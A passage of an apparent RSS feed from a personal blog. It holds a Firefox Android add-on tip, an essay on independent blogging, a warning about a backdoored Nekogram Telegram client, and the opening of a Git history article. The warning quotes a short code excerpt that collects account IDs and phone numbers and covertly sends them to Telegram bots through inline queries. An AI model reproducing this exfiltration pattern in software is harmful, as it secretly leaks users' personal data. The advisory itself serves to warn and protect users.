&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./4.webp&quot; alt=&quot;install-success&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.webp&quot; alt=&quot;wappalyzer&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Only signed add-ons are supported.&lt;/strong&gt; Official xpi files downloaded from AMO are all signed. Unsigned add-ons from third-party sources may be rejected&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Firefox Android restricts add-on compatibility, on the grounds that mobile APIs and desktop APIs aren&apos;t exactly the same, and some add-ons crash on phones. Add-ons like Wappalyzer that read page information are actually perfectly fine; the official side simply hasn&apos;t marked them as compatible&lt;/p&gt;
&lt;p&gt;After a forced install, Wappalyzer displays completely normally on Firefox Android&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>In 2026, People Are Still Writing Blogs</title><link>https://xice.cx/en/posts/blogIn2026/</link><guid isPermaLink="true">https://xice.cx/en/posts/blogIn2026/</guid><description>In the age of big data and AI, what are the people still hand-writing blogs actually doing?</description><pubDate>Fri, 24 Apr 2026 12:01:11 GMT</pubDate><content:encoded>&lt;p&gt;Looking back in 2026, the internet before blogs existed was actually a very quiet place&lt;/p&gt;
&lt;p&gt;Not that there was little content, but that &lt;strong&gt;few people could publish content&lt;/strong&gt;. Back then, to have a place of your own online, you had to know how to write HTML, know how to use FTP to upload files to a server, and understand a little basic web-building knowledge. These things don&apos;t look hard now, but in the 90s that threshold was enough to keep out the vast majority of ordinary people&lt;/p&gt;
&lt;p&gt;So personal expression online back then was basically a geek&apos;s privilege. You&apos;d see personal homepages, pages built in every style imaginable, but the people behind them were all the type willing to spend time studying computer technology. For ordinary people, going online basically meant looking: reading the news on portal sites, reading other people&apos;s content, with no place of their own to speak&lt;/p&gt;
&lt;p&gt;That situation began to loosen in 1999&lt;/p&gt;
&lt;p&gt;Blogger launched. What it did sounds very simple: it separated &quot;writing content&quot; from &quot;putting content online&quot;. You no longer had to manage a server, no longer had to write HTML; open a webpage, write, click publish, done. The page was generated automatically, the address came automatically&lt;/p&gt;
&lt;p&gt;This change sounds like a technical detail, but its impact was fundamental: &lt;strong&gt;publishing, for the first time, required no threshold at all&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Previously, if you wanted to speak, you first had to learn how to build a place where you could speak. Now the two were split apart, and anyone with something to say could just say it&lt;/p&gt;
&lt;p&gt;Then WordPress came along in 2003, with fuller features, self-deployment, and deep customization. On the Chinese-language internet, the word &quot;博客&quot; started circulating around 2002; Fang Xingdong and others were promoting it, and Sina started a blog channel. By 2005 and 2006, the Chinese blogosphere was already quite lively&lt;/p&gt;
&lt;p&gt;Those few years really were lively. Han Han wrote there, Xu Jinglei wrote there, and a bunch of ordinary people whose names you don&apos;t know also wrote there. No algorithm pushed content at you; if you wanted to meet people you relied on blogrolls — I put your URL in my sidebar, you leave a comment on mine, I go visit yours in return. Primitive, but effective, and those connections were real, not pairings generated by a system&lt;/p&gt;
&lt;p&gt;This period had one quality that never appeared again: &lt;strong&gt;every person who blogged felt they were doing something a little bit important&lt;/strong&gt;. Not because someone told them it was important, but because that feeling of &quot;I have a place of my own on the internet&quot; was itself new and precious. Before that, ordinary people had no place on the internet. Blogs gave them one&lt;/p&gt;
&lt;p&gt;And that one thing alone was enough to make people take it seriously&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The liveliest years for blogs were roughly between 2005 and 2008&lt;/p&gt;
&lt;p&gt;Back then Sina Blogs was a very strange place. Celebrities wrote there, grassroots people wrote there too; the two groups shared a platform but actually didn&apos;t pay much attention to each other. The celebrity side was traffic, the grassroots side was community, each with its own ecosystem&lt;/p&gt;
&lt;p&gt;Among the celebrity blogs, Lao Xu&apos;s click count passed a hundred million, and Han Han&apos;s blog was where many people went to find an independent voice. These people brought in a huge number of ordinary users, making &quot;blogging&quot; spill out of the geek circle and become something everyone knew about&lt;/p&gt;
&lt;p&gt;But what was really interesting was the grassroots side, the ordinary people&lt;/p&gt;
&lt;p&gt;Back then there was a group of people whose writing maybe only a handful read, but who wrote extremely seriously. Someone serialized their technical notes there, someone wrote city observations, someone just recorded their own days. No pressure to monetize, no follower-growth targets, just writing. In the comments someone would respond seriously, then you&apos;d go check their place, find that what they wrote isn&apos;t bad either, add each other&apos;s links, and gradually become regular online neighbors&lt;/p&gt;
&lt;p&gt;That kind of relationship is hard to replicate now. Not because people changed, but because the platform&apos;s logic changed. Back then there was no algorithm in the middle; you and your readers were direct, with no system matching or recommending for you. The people who found you were all people genuinely interested in what you wrote&lt;/p&gt;
&lt;p&gt;Then in 2009, Weibo arrived&lt;/p&gt;
&lt;p&gt;What Weibo did was actually a lot like what Blogger did back then: lower the threshold again. Blogs were already simple enough, but you still had to organize your language, write paragraphs, think of a title. Weibo said: no need, 140 characters, post it offhand&lt;/p&gt;
&lt;p&gt;A large number of bloggers started migrating. Not that blogs were bad, but Weibo&apos;s feedback was so much faster. Post a Weibo and within minutes there are reposts and comments. Write a blog post and you might wait several days before anyone comes to look. That difference in pace made a lot of people naturally shift over&lt;/p&gt;
&lt;p&gt;Blogs didn&apos;t die immediately, but they began to hollow out. Updates slowed, comments dwindled, and many bloggers&apos; last post is stuck in 2010 or 2011, opening with &quot;haven&apos;t updated in a while, been pretty busy lately,&quot; and then never another word&lt;/p&gt;
&lt;p&gt;The next few years were accelerating fragmentation. WeChat public accounts launched in 2012 and took away the people who wanted to write long-form. Zhihu took away the people who wanted Q&amp;amp;A. Various vertical platforms carved up everyone else by interest&lt;/p&gt;
&lt;p&gt;Portal blogs shut down one after another. NetEase Blog closed in 2019, Sohu Blog is basically abandoned, and MSN Spaces is nowhere to be found. The things you wrote carefully in those years — those photos, those records, those words written to someone — vanished outright when the servers powered down. Not archived, not migrated, just gone&lt;/p&gt;
&lt;p&gt;This is the ugliest side of how the blog era ended: the content wasn&apos;t yours, the platform closed whenever it wanted, and you couldn&apos;t take anything with you.&lt;/p&gt;
&lt;p&gt;But one thing many people didn&apos;t notice: even as these platforms switched off one by one, there was always a group of people blogging in a completely different way&lt;/p&gt;
&lt;p&gt;They didn&apos;t use Sina, didn&apos;t use NetEase; they bought their own domain, set up their own server, maintained an independent site. The traffic might be only a few dozen people, but they wrote for five years, ten years, without ever stopping&lt;/p&gt;
&lt;p&gt;These people were the seeds of the later independent blog revival&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;When portal blogs were at their liveliest, independent blogs already existed&lt;/p&gt;
&lt;p&gt;An independent blog means: buy your own domain, deploy it yourself, maintain it yourself. No platform does anything for you, and no platform can make any decision for you. It&apos;s a hassle, but the thing genuinely belongs to you&lt;/p&gt;
&lt;p&gt;This group was a minority from the start. During the blog boom, most people chose Sina or NetEase, because it was simple and because there was traffic. The people who chose independent blogs never much cared about those things. What they cared about was something else: &lt;strong&gt;this place has to be mine, so that one day when the platform goes down I don&apos;t lose everything&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What happened later proved them right&lt;/p&gt;
&lt;p&gt;After the portal blogs shut down one by one, these people&apos;s blogs were still there. The domain was still the same domain, the content was still the same content; the earliest post might have been written in 2004 and you can still open it now. That kind of continuity is a rare thing on the Chinese internet&lt;/p&gt;
&lt;p&gt;But saying independent blogs always had people doesn&apos;t mean it was thriving&lt;/p&gt;
&lt;p&gt;During that time, independent blogs were more like a water table: invisible on the surface, but never dried up. Not many people wrote them, they knew each other, and occasionally they&apos;d run into each other in the comments and know the other was still updating — that counted as a kind of quiet companionship. The circle was small, but very stable&lt;/p&gt;
&lt;p&gt;Among the people writing independent blogs, programmers made up a large share. The reason is simple: setting up an independent blog still has a threshold for ordinary people, but it&apos;s nothing to a programmer. And we programmers have always had the habit of recording things — writing down the pitfalls we&apos;ve hit, organizing what we&apos;ve learned, convenient for ourselves to look up later and incidentally useful to others&lt;/p&gt;
&lt;p&gt;This kind of blog has one characteristic: it doesn&apos;t care much about whether it reads well, it cares about whether it&apos;s clear. An article might just be solving a very specific technical problem, with a title that is simply the problem itself, no rhetoric at all. But these articles often have a long life, because search engines keep pushing them to people who hit the same problem. Some articles were written ten years ago and are still being cited today&lt;/p&gt;
&lt;p&gt;Besides programmers, there&apos;s also a group of writers. Not professional writers, just people who like to write. What they write varies wildly: someone writes city wandering, someone writes reading notes, someone writes about a period of their own experience, someone is just recording their days. No clear reader in mind, and when writing they don&apos;t think much about reach; they just write&lt;/p&gt;
&lt;p&gt;These two groups: one stayed because of utility, one stayed because of expression. But they have one thing in common: &lt;strong&gt;neither relies much on external feedback to decide whether to keep writing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This point is crucial. On today&apos;s platforms like C$DN and Zhihu, feedback is instant, and it&apos;s easy to adjust what and how you write based on the numbers. Independent blogs don&apos;t have that mechanism, or rather you can choose to ignore it entirely. People who write long-term have essentially all found a motivation to write that&apos;s independent of external feedback&lt;/p&gt;
&lt;p&gt;Around 2020, a new concept started circulating in this circle: &lt;strong&gt;DigitalGarden, the digital garden&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This concept is a bit different from a traditional blog. A traditional blog is arranged by time, newest on top, older ones slowly sinking, like a river with content flowing away in time. A digital garden doesn&apos;t emphasize the timeline; it&apos;s more like a growing system: you plant an idea in it, come back months later to add to it, modify it again a year later; it keeps changing, but it&apos;s always there&lt;/p&gt;
&lt;p&gt;This concept attracted a group of people, not entirely for publishing, but for organizing their own thinking. Treating the blog as a continuously growing knowledge base rather than a content publishing channel&lt;/p&gt;
&lt;p&gt;These two uses, &lt;strong&gt;publishing and organizing&lt;/strong&gt;, actually don&apos;t conflict, and many people do both at once. But the emergence of the term digital garden marked one thing: &lt;strong&gt;independent blogs began to shift from &quot;I want people to see me&quot; to &quot;I want to keep what I&apos;ve thought about&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The motivation changed, and so did what people wrote&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The real revival of independent blogs probably started around 2022 and 2023&lt;/p&gt;
&lt;p&gt;It wasn&apos;t triggered by one landmark event; several things happened at once, stacked together, pushing a group of people in this direction&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First, platforms made people more and more exhausted&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This isn&apos;t about one specific platform; it&apos;s that all content platforms in this big-data era are heading in the same direction. Recommendation mechanisms get stronger and stronger: what you see is less and less what you actively choose, and more what the system thinks you should see. The same goes for people posting content: what you write and how you write it slowly gets reverse-shaped by the data — write whatever gets traffic, craft the title however it takes to get people to click&lt;/p&gt;
&lt;p&gt;Many people, as they write, find that what they&apos;re writing is completely different from what they originally wanted to write. But they can&apos;t stop, because stopping means traffic goes to zero, means all the accumulation so far is wiped out&lt;/p&gt;
&lt;p&gt;The fact that platform accounts can vanish at any moment has also become intolerable for more and more people. Not necessarily a ban — maybe the platform itself is failing, or some feature is taken offline, or the rules change, and your content suddenly disappears, or reaches nobody. People who wrote on a platform for years have genuinely experienced that feeling: you thought you were building something, but &lt;strong&gt;you were just filling in content for someone else&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Then AI content began appearing at scale&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After 2023, the quality of content on the internet began to change visibly. Search a question, and the first few pages are all articles with similar structure, similar tone, but with absolutely no information in them when you read them. You know it&apos;s AI-written pre-made food, because it&apos;s too fluent, too complete, but not a single sentence was actually thought through&lt;/p&gt;
&lt;p&gt;This had an effect on us: &lt;strong&gt;things written by real people suddenly became precious&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not that it&apos;s precious only if it&apos;s well written, but that as long as what you write contains real judgment, real experience, even real bias, it becomes fundamentally different from that AI-generated content. Readers can feel that difference — which is what I&apos;ve often said before: AI&apos;s pre-made food doesn&apos;t have that breath of real life that a human&apos;s writing does&lt;/p&gt;
&lt;p&gt;Against this backdrop, something as &lt;em&gt;&quot;inefficient&quot;&lt;/em&gt; as independent blogs began to seem valuable. A person willing to spend time setting up their own site and seriously writing an article with no trace of SEO optimization — that act itself says: this is a real person, seriously saying one thing&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Another important change is that building a site got a lot simpler&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Setting up an independent blog used to mean choosing a CMS, buying a server, configuring the environment, and solving problems yourself by reading docs. The WordPress stack is powerful, but it has maintenance costs and isn&apos;t very secure. Many people who wanted to write were shut out by that threshold&lt;/p&gt;
&lt;p&gt;Now it&apos;s different. Static site generators have matured a lot: Hugo, Astro, Hexo... With these tools you write Markdown files locally, and a single &lt;code&gt;bun run build&lt;/code&gt; generates the site. Deploy straight to Vercel or Cloudflare Pages, free, done in minutes, no server to manage. Go through the whole flow once and you can have a decent independent blog up in an afternoon&lt;/p&gt;
&lt;p&gt;For people with a bit of technical background, the threshold is basically gone. For people with no technical background at all, there are also solutions like converting Notion straight into a blog, or Obsidian Publish, turning the note-taking app you already use into an accessible website&lt;/p&gt;
&lt;p&gt;The maturity of the tools has drastically shortened the distance between wanting to build and being able to build.&lt;/p&gt;
&lt;p&gt;At this point, the concept of the digital garden also resurfaced&lt;/p&gt;
&lt;p&gt;Actually the concept isn&apos;t new, but back then it circulated mostly in geek circles, out of reach for ordinary writers. In the past two years, with the revival of independent blogs, more people have come across this idea: &lt;strong&gt;treat your own site not as a publishing platform, but as a continuously growing knowledge base&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The difference between a digital garden and a traditional blog lies at its core in &lt;strong&gt;the attitude toward the idea of &quot;finished&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The logic of a traditional blog is that an article is only published when it&apos;s finished, and once it&apos;s out it&apos;s final. The logic of a digital garden is that an idea can start as a seed, a few sentences, immature, but planted first. Come back after a while, add to it, revise it, maybe it eventually grows into a complete article, maybe it stays those few sentences, but it&apos;s there, and you can come back and keep thinking any time&lt;/p&gt;
&lt;p&gt;For many people this logic is a liberation. Because the assumption that &quot;if you&apos;re going to write, write it complete&quot; actually stops a lot of people from picking up the pen. A digital garden lets you put incomplete things in, lets your thinking process be visible, lets your site stay permanently &quot;under construction&quot;&lt;/p&gt;
&lt;p&gt;These two things, &lt;strong&gt;escaping the algorithm and lowering the barrier to building&lt;/strong&gt;, stacked together, put independent blogs in a very interesting position in 2026&lt;/p&gt;
&lt;p&gt;It isn&apos;t mainstream, and it won&apos;t become mainstream. But there are noticeably more people writing independent blogs than five years ago, and the reason has changed too: it&apos;s not because there was no better choice, but a deliberate choice made after thinking it through&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;So back to our original question: &lt;strong&gt;what are the people writing independent blogs now actually doing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;They can roughly be divided into a few categories&lt;/p&gt;
&lt;p&gt;Not strict categories — many people belong to several at once — but roughly this is the outline&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The first category is the record-keepers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;They write down their life, their thoughts, their experiences. Not necessarily on any theme, not necessarily at a fixed frequency; they just write when they feel like it. From the outside such blogs may look casual, but they often last the longest. Because the motivation for writing is the simplest: not for readers, but to leave something for oneself&lt;/p&gt;
&lt;p&gt;Many people in this category suddenly realize at some point that their memories are fading. Not that their memory is getting worse, but those scattered thoughts, that thing they figured out one day, the state they were in during some period — if they don&apos;t write them down, three months later they themselves can&apos;t remember ever having thought them. The blog becomes a way of fighting forgetting&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The second category is the organizers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;These people use the blog as a knowledge base. Whatever they learn, read, research, they organize and put it up there. The act of writing itself helps them think things through: you think you understand, but when you actually try to write it clearly, you often find several places that are still fuzzy&lt;/p&gt;
&lt;p&gt;Among us programmers, there are many of this type. You hit a pitfall on a technical problem, and once you solve it you write a retrospective: first, to help yourself remember; second, in case someone hits the same problem and can search for it. These articles don&apos;t pursue beauty, they pursue accuracy. Some articles are still being cited years after they were written, because the problem still exists and the solution still works&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The third category is the thinkers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;These people deal with things they haven&apos;t figured out yet on their blog. They&apos;re not sharing conclusions, they&apos;re using writing to advance their thinking. When an article goes out it may still have many holes, but that&apos;s fine: someone points them out in the comments, or they come back after a while, find where they got it wrong, and write a follow-up&lt;/p&gt;
&lt;p&gt;This kind of blog has a particular texture when you read it, because you can feel the author genuinely thinking, rather than displaying a polished viewpoint. In today&apos;s flood of AI content, that texture is very hard to fake&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fourth category is the connectors&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;These people write blogs partly because they want to find their own kind. Not to build big influence, just to know whether there&apos;s anyone in the world who thinks about the same things they do&lt;/p&gt;
&lt;p&gt;Independent blogs have a quality here that algorithmic platforms lack: they can be indexed by search engines, and over the long term. You write something very obscure today, and maybe three years later someone searches for it and finds that you two care about the same thing. That connection isn&apos;t pushed by an algorithm; it&apos;s a genuine finding&lt;/p&gt;
&lt;p&gt;These categories &lt;em&gt;mostly&lt;/em&gt; share one thing in common: they don&apos;t care much about the numbers&lt;/p&gt;
&lt;p&gt;Not that they never look, but they don&apos;t use the numbers as the basis for whether or what to write. Some just turn off analytics entirely; some install it but barely look. It&apos;s only when someone occasionally comments or emails that they learn someone out there has been reading&lt;/p&gt;
&lt;p&gt;This state actually takes a bit of time to get used to. People who come over from platforms like Zhihu tend to go through a hard period at first: they write something, post it, and there&apos;s no reaction at all; they don&apos;t know if anyone&apos;s reading, don&apos;t know if it&apos;s good, and there&apos;s no external signal telling them whether to continue or stop&lt;/p&gt;
&lt;p&gt;Many people give up at this stage&lt;/p&gt;
&lt;p&gt;Those who make it through tend to have figured one thing out at some point: &lt;strong&gt;does writing this have value for me&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If the answer is yes, then it doesn&apos;t matter if nobody reads it, because the act of writing itself has already accomplished what it needed to. If the answer is no, then even if many people read it, the writing is hollow&lt;/p&gt;
&lt;p&gt;This process of figuring it out is actually the most important thing an independent blog gives you: &lt;strong&gt;not traffic, not readers, but a chance to work out why you write at all&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;If you want to start&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Having said all this, if you have even a slight urge to start a blog, let me just say some practical things&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First figure one thing out: what do you plan to use it for&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You don&apos;t need to think in detail, but you need a rough idea. Is it to record your life, to organize what you learn, to write out the thoughts in your head that have nowhere to go, or just to have a place of your own and figure out what to write later&lt;/p&gt;
&lt;p&gt;Once this question is clear, a lot of later decisions will naturally have answers&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;About tools&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Building an independent blog today offers many choices, but there&apos;s really no need to overthink it — it&apos;s just a tool, whatever&apos;s handy&lt;/p&gt;
&lt;p&gt;If you have a bit of technical background, or don&apos;t mind learning a little something new, Hexo or Astro are the more mainstream static site generators right now. (The site you&apos;re reading right now is built with Astro.) Write Markdown locally, generate it, push it to GitHub, deploy with Vercel or Cloudflare Pages. Free throughout; a domain costs you a few dozen yuan a year. The first time through the whole flow might take an afternoon, but once it&apos;s done it basically needs no maintenance — just focus on writing&lt;/p&gt;
&lt;p&gt;If you don&apos;t want to touch code at all, Notion has third-party tools that convert pages straight into a blog, Obsidian has the Publish feature, and note-taking apps like Bear and Craft have similar options. Wherever you write, you can casually turn it into an accessible website&lt;/p&gt;
&lt;p&gt;CMSes like WordPress still exist too, with full features, but they&apos;re relatively heavy and you need to buy and maintain a server yourself&lt;/p&gt;
&lt;p&gt;Themes and design don&apos;t need to be figured out at build time. Get the thing running first — as long as you can write and publish. Many people&apos;s blogs still use the default theme after several years&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;About domains&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s worth spending a bit of time on. Not complicated, but ideally it&apos;s one you&apos;re willing to use long-term. A domain is, in a sense, your address on the internet; changing it is a bit of a hassle, so don&apos;t just pick one to settle&lt;/p&gt;
&lt;p&gt;.com is the hardest currency; you can also pick .me, .io, .xyz and so on — go with your own feeling. As long as you think it looks good, is easy to remember, and is affordable. A year costs anywhere from a few dozen to a few hundred; the difference isn&apos;t big, and it&apos;s not true that expensive is necessarily better. It&apos;s just a name&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;About what to write&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What to write in the first article has troubled many people for a long time&lt;/p&gt;
&lt;p&gt;Actually anything works. Even &quot;this is my first blog post, I don&apos;t know what I&apos;ll write next&quot; can absolutely be published. Nobody will pay much attention to the first article, including yourself; looking back a few years later you&apos;ll find it a bit childish, but its meaning is to take this place from 0 to 1.&lt;/p&gt;
&lt;p&gt;Don&apos;t wait until &quot;I&apos;ve figured out what to write&quot; to build it, because that day may never come. Build first, then start writing; as you write you&apos;ll naturally find the feel&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;About nobody reading it&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After you build the blog, there may be a long stretch with hardly any visitors. That&apos;s normal — it&apos;s not that you write badly, it&apos;s that &lt;strong&gt;an independent blog simply isn&apos;t a place where you quickly accumulate readers through organic traffic&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Search engines will gradually index your content, but that takes time. You can put your blog address in your social media bio, mention it in passing occasionally when you post something; no need to promote deliberately, just let it be discovered on its own&lt;/p&gt;
&lt;p&gt;When someone leaves a comment or emails you, reply seriously. Independent blogs don&apos;t have many readers, but the quality is high, and they deserve serious treatment&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;About persistence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Don&apos;t set yourself an update frequency.&lt;/strong&gt; Plans like &quot;post once a week&quot; — most people can&apos;t keep them up for a few months before giving up, then feel guilty for not sticking to the schedule, then want to write even less&lt;/p&gt;
&lt;p&gt;Write when you feel like it, stop for a while when you don&apos;t. That&apos;s completely fine. Some blogs update only a few times a year but have been going for ten years, and looking back it&apos;s a very complete thing. Some blogs are diligent at first, then stop after three months — that&apos;s still three months&apos; worth, better than nothing&lt;/p&gt;
&lt;p&gt;With blogging, there&apos;s no failure; there&apos;s only the choice between stopping and carrying on&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;One last thing&lt;/p&gt;
&lt;p&gt;An independent blog won&apos;t make you famous, and in all likelihood won&apos;t bring you any material reward. It&apos;s just a place, a plot of land of yours on the internet, where you write what you want to write and leave the traces you want to leave&lt;/p&gt;
&lt;p&gt;But right now, that act itself has become a little precious&lt;/p&gt;
&lt;p&gt;Not because blogging as a form is particularly special or niche, but because people willing to write seriously, not depend on algorithms, and not chase traffic are becoming fewer and fewer. That scarcity makes everyone still writing seem a little worth taking seriously&lt;/p&gt;
&lt;p&gt;What you write will always drift to the hands of the person who should see it&lt;/p&gt;
&lt;p&gt;It&apos;s just that they might still be on their way&lt;/p&gt;
</content:encoded><category>博客</category><category>社会评论</category><author>Chongxi</author></item><item><title>The Nekogram Backdoor Incident: Your Phone Number Has Already Been Uploaded in Secret</title><link>https://xice.cx/en/posts/336CautionNekogram/</link><guid isPermaLink="true">https://xice.cx/en/posts/336CautionNekogram/</guid><description>The unofficial Nekogram client has been injected with malicious code that quietly uploads users&apos; phone numbers and account IDs.</description><pubDate>Thu, 02 Apr 2026 12:49:11 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;TL;DR: if you&apos;ve ever used Nekogram, your phone number and Telegram account ID have already been sent to the developer. Switch back to the official client immediately&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;What Happened&lt;/h2&gt;
&lt;p&gt;Recently, security researchers reverse-engineered Nekogram&apos;s release APK and found &lt;strong&gt;deliberately injected malicious code&lt;/strong&gt; that, without the user knowing anything, uploads the following to the developer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your &lt;strong&gt;Telegram user ID&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Your &lt;strong&gt;phone number&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;If you&apos;re logged into multiple accounts, the above information for &lt;strong&gt;all accounts&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;The malicious code is hidden in the &lt;code&gt;Extra.java&lt;/code&gt; file and &lt;strong&gt;does not appear in the public GitHub source&lt;/strong&gt; — the developer quietly injected it when packaging the release, so looking at the source alone won&apos;t reveal a thing&lt;/p&gt;
&lt;p&gt;The code logic is simple and crude:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 遍历最多8个账号
for (int i = 0; i &amp;lt; 8; i++) {
    // 抓取用户ID和手机号
    mapWithAccounts.put(String.valueOf(user.id), phonenum);
}
// 通过 inline query 悄悄发给 bot，不留任何聊天记录
InlineBotHelper.getInstance(...).query(nekonotificationbot, ...toJSON(hashMap));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The data is sent via &lt;strong&gt;Inline Bot Query&lt;/strong&gt;, and what&apos;s special about that method is: &lt;strong&gt;it leaves no trace whatsoever in your chat history&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The intended recipients include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@nekonotificationbot&lt;/code&gt; (the main data-receiving bot)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tgdb_search_bot&lt;/code&gt; (an OSINT people-search bot)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;usinfobot&lt;/code&gt; (an OSINT people-search bot)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The presence of the latter two bots means the leaked data is very likely being used for &lt;strong&gt;social engineering lookups&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Why It&apos;s Especially Dangerous&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Google Play version is affected too&lt;/strong&gt;, not just APKs downloaded from third-party channels&lt;/li&gt;
&lt;li&gt;Early versions targeted only +86 numbers; it has now been extended to all users&lt;/li&gt;
&lt;li&gt;The Nekogram author is reportedly known to have a history of DDoS attacks and online harassment&lt;/li&gt;
&lt;li&gt;The issue has been made public on GitHub: &lt;a href=&quot;https://github.com/Nekogram/Nekogram/issues/336&quot;&gt;#336&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What You Should Do Now&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Uninstall Nekogram immediately&lt;/strong&gt; and switch back to &lt;a href=&quot;https://telegram.org&quot;&gt;official Telegram&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Check your logged-in devices&lt;/strong&gt;
设置 → 隐私与安全 → 活跃会话 → kick off any unfamiliar devices&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Enable two-step verification&lt;/strong&gt;
设置 → 隐私与安全 → 两步验证&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Limit phone number visibility&lt;/strong&gt;
设置 → 隐私 → 手机号码 → change it to &quot;我的联系人&quot; or &quot;没有人&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Report it to Google Play&lt;/strong&gt;
&lt;a href=&quot;https://support.google.com/googleplay/android-developer/contact/takedown&quot;&gt;Report link&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The source code and the release binary of an unofficial client can be completely different. &lt;strong&gt;The source you see is not the program you&apos;re running&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;From now on, download Telegram from exactly one place: &lt;strong&gt;telegram.org&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Reference sources: Sota Project, GitHub Issue #336&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>安全</category><category>软件</category><author>Chongxi</author></item><item><title>What Even Is Git? Git&apos;s First Principles and the History of Its Birth, Explained in One Article</title><link>https://xice.cx/en/posts/whatIsGit/</link><guid isPermaLink="true">https://xice.cx/en/posts/whatIsGit/</guid><description>Why did Linus design Git? Why is rebase dangerous in multi-person collaboration? Git&apos;s underlying design from first principles.</description><pubDate>Tue, 31 Mar 2026 13:07:18 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;In 2005, the Linux kernel was the world&apos;s largest open-source collaboration project&lt;/p&gt;
&lt;p&gt;The 1000+ contributors worldwide were using a commercial version control tool called &lt;strong&gt;BitKeeper&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In April 2005, on a weekend, an Australian programmer named Andrew Tridgell (the guy who wrote Samba) reverse-engineered BitKeeper&lt;/p&gt;
&lt;p&gt;Larry McVoy, the man behind BitKeeper, found out and announced it would stop providing free licences to the entire Linux community&lt;/p&gt;
&lt;p&gt;Linus lost his tool overnight&lt;/p&gt;
&lt;p&gt;Linus didn&apos;t panic. He first spent two weeks studying every version control tool on the market — CVS, SVN, Monotone, Darcs…&lt;/p&gt;
&lt;p&gt;Then he reached a conclusion:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;These things are all garbage.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The exact words in his email were:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No existing system meets my needs, so I decided to write my own&lt;/p&gt;
